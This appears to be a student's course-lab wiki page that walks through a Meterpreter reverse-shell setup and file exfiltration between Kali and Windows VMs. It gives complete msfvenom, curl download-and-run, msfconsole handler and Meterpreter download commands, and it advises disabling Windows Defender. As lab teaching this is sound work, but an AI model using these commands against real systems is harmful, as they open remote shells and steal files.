Week 4 ‐ Staging and Exfiltration (Task 2) - sophialevasseur/SEC-335 GitHub Wiki

Main Doc😱

image

🌲Part A: Reverse Shell Setup🌲

⚡1. Generate a Meterpreter payload for your Windows VM and don’t use port 4444⚡

  • On your Kali machine run this command:
    • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=5555 -f exe > exfil.exe
    • python3 -m http.server 8000
image
  • Curl the command on your Windows machine:
    • curl.exe http://10.0.17.49:8000/exfil.exe -o exfil.exe
image

⚡2. Start a listener on your Kali/C2 server⚡

  • Open msf console with the following command:
    • msfconsole -q
    • use exploit/multi/handler
    • set payload windows/x64/meterpreter/reverse_tcp
    • set LHOST 10.0.17.66
    • set LPORT 5555
    • set ExitOnSession false
    • exploit -j
image

🔨Troubleshoot🔨

  • If your session is not being created, make sure your Windows Defender is turned off!

⚡3. Run the payload on your Windows VM and verify you get a Meterpreter session⚡

  • .\exfil.exe
image

⚡4. Start your new session on _Kali_⚡

  • sessions -l
  • sessions -i 1
image

🌲Part B: File Exfiltration🌲

Read the Meterpreter documentation on exfiltration commands

⚡1. Use the download command to transfer each archive from C:\temp\ to your c2 server⚡

  • download -r C:\\temp\\archives /tmp
image

⚡2. Verify each file transferred completely to your c2⚡

  • ls -la /tmp
image
⚠️ **GitHub.com Fallback** ⚠️